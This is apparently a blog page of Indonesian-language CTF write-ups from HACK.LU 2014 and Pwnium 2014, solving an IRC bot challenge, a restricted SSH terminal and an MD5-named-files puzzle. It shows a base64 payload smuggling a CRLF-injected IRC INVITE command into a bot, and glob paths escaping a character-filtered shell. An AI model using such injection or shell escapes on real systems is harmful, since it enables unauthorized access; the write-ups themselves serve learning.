Showing posts with label misc. Show all posts
Showing posts with label misc. Show all posts

Thursday, October 23, 2014

HACK.LU CTF 2014 - Barmixer Bot

Pada challenge ini, kita diberikan sebuah informasi channel IRC freenode yaitu #hacklu-saloon  didalam channel tersebut terdapat sebuah bot dengan nick Barmixing-bot. kemudian saya mencoba melihat service/perintah apa saja yang disediakan oleh bot. saya memulainya dengan perintah !help untuk melihat perintah apa saja yang akan dilayani bot tersebut:

(9:40:51 PM) oghie: !help
(9:40:52 PM) barmixing-bot: oghie: Send messages to the bot or the channel starting with an exclamation mark. Known commands are list, status, karma, math, base64, base64d, rot13, ping, hack, request, list
Terdapat ada 10 perintah pada bot. dari berbagai perintah yang saya inputkan tidak menemukan titik terang. Namun setelah mengamati keseluruhan output yang ada pada perintah tersebut, ada satu perintah disini yang sangat menarik perhatian saya, yaitu perintah !status. isinya seperti ini:
(10:21:18 PM) oghie: !status
(10:21:20 PM) barmixing-bot: oghie: My name is barmixing-bot, my uptime is 8 hours 12 minutes and 30 seconds. I am on the following channels: #hacklu-saloon, #hacklu-secret-channel, 
 
yang menarik outputnya disini yakni #hacklu-secret-channel. kemudian saya mencoba untuk join ke-channel tersebut namun ternyata hanya memungkinkan untuk nick yang telah di invite.


Dari sini saya mencoba memanfaatkan perintah !base64d dengan menyisipkan perintah INVITE kedalam string base64. Jadi ketika bot melakukan Decode string base64, maka akan otomatis juga melakukan eksekusi perintah INVITE nick kedalam channel #hacklu-secret-channel

jadi mari kita encode ke base64 perintah INVITE tersebut:
#echo -e 'Hai\r\nINVITE oghie #hacklu-secret-channel' | base64
SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
*catatan: diperlukan multi-line encode  


Kemudian kita kembali ke bot untuk menjalankan perintah decode base64. Adapun perintah yang di inputkan ke bot yaitu:
!base64d SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
 


Dari sini kemudian bot mengkonfirmasi untuk masuk kedalam channel #hacklu-secret-channel


Setelah berada didalam channel, ternyata flag berada pada bagian topic channel.

Flag: GfeBNmN5XjwDvQB64qoqaEEeYogk4rGH3ikZ0qtc3B3HKLDoAH

Thanks.

HACK.LU CTF 2014: Gunslinger Joe's private Terminal

Kita diberikan akses ssh. Sepertinya semua karakter alfanunmerik diremove.

gun01

Tapi dengan mencoba:

./*

Kita mendapat pesan “./FLAG: permission denied”

Memasukkan ini:

/*/*

Kita masuk ke editor “vi”. Cukup dengan “:r FLAG” kita mendapat flagnya:

gun3

Saturday, July 12, 2014

Pwnium 2014: misc75 So Basic

Kita diberi sebuah file Misc75.zip, isinya adalah 40 file, masing-masing dengan nama berupa string heksadesimal seperti ini:

02e74f10e0327ad868d138f2b4fdd6f0
1679091c5a880faf6fb5e6087eb1b2dc
182be0c5cdcd5072bb1864cdee4d3d6e
19ca14e7ea6328a42e0eb13d585e4c22
1c383cd30b7c298ab50293adfecb7b18
1f0e3dad99908345f7439f8ffabdffc4
1ff1de774005f8da13f42943881c655f
33e75ff09dd601bbe69f351039152189
34173cb38f07f89ddbebc2ac9128303f
37693cfc748049e45d87b8c7d8b9aacd
3c59dc048e8850243be8079a5c74d079
45c48cce2e2d7fbdea1afc51c7c6ad26
4e732ced3463d06de0ca9a15b6153677
6364d3f0f495b6ab9dcf8d3b5c6e0b01
6512bd43d9caa6e02c990b0a82652dca
6ea9ab1baa0efb9e19094440c317e21b
6f4922f45568161a8cdf4ad2299f6d23
70efdf2ec9b086079795c442636b55fb
8e296a067a37563370ded05f5a3bf3ec
8f14e45fceea167a5a36dedd4bea2543
98f13708210194c475687be6106a3b84
9bf31c7ff062936a96d3c8bd1f8f2ff3
a5771bce93e200c36f7cd9dfd0e5deaa
a5bfc9e07964f8dddeb95fc584cd965d
a87ff679a2f3e71d9181a67b7542122c
aab3238922bcc25a6f606eb525ffdc56
b6d767d2f8ed5d21a44b0e5886680cb9
c16a5320fa475530d9583c34fd356ef5
c20ad4d76fe97759aa27a0c99bff6710
c4ca4238a0b923820dcc509a6f75849b
c51ce410c124a10e0db5e4b97fc2af39
c74d97b01eae257e44aa9d5bade97baf
c81e728d9d4c2f636f067f89cc14862c
c9f0f895fb98ab9159f51fd0297e236d
cfcd208495d565ef66e7dff9f98764da
d3d9446802a44259755d38e6d163e820
d67d8ab4f4c10bf22aa353e27879133c
e369853df766fa44e1ed0ff613f563bd
e4da3b7fbbce2345d7772b0674a318d5
eccbc87e4b5ce2fe28308fd9f2a7baf3

 

Di dalam masing-masing file ada dua digit heksadesimal. Setelah mencoba-coba menggunakan md5 cracker online, ternyata masing-masing adalah angka (c4ca4238a0b923820dcc509a6f75849b adalah md5 untuk angka 1, dst). Jadi langkah pertama yang saya lakukan adalah merename semua hash menjadi nomor, ini bisa dilakukan dengan skrip bash:


for((i=0; i < 40; i++)); do mv $(echo -n $i|md5sum| cut -f 1 -d' ') $i;done

 


Berikutnya kita coba gabungkan semua isi file sesuai urutannya:


for((i=0; i < 40; i++)); do cat $i; done

Hasilnya:


50776e69756d7b30326365663765656237356664643964666336376330646331653365323535627d


Berikutnya kita coba convert ke ASCII, dan ternyata kita dapat flagnya:


$ echo 50776e69756d7b30326365663765656237356664643964666336376330646331653365323535627d| xxd -r -p

Pwnium{02cef7eeb75fdd9dfc67c0dc1e3e255b}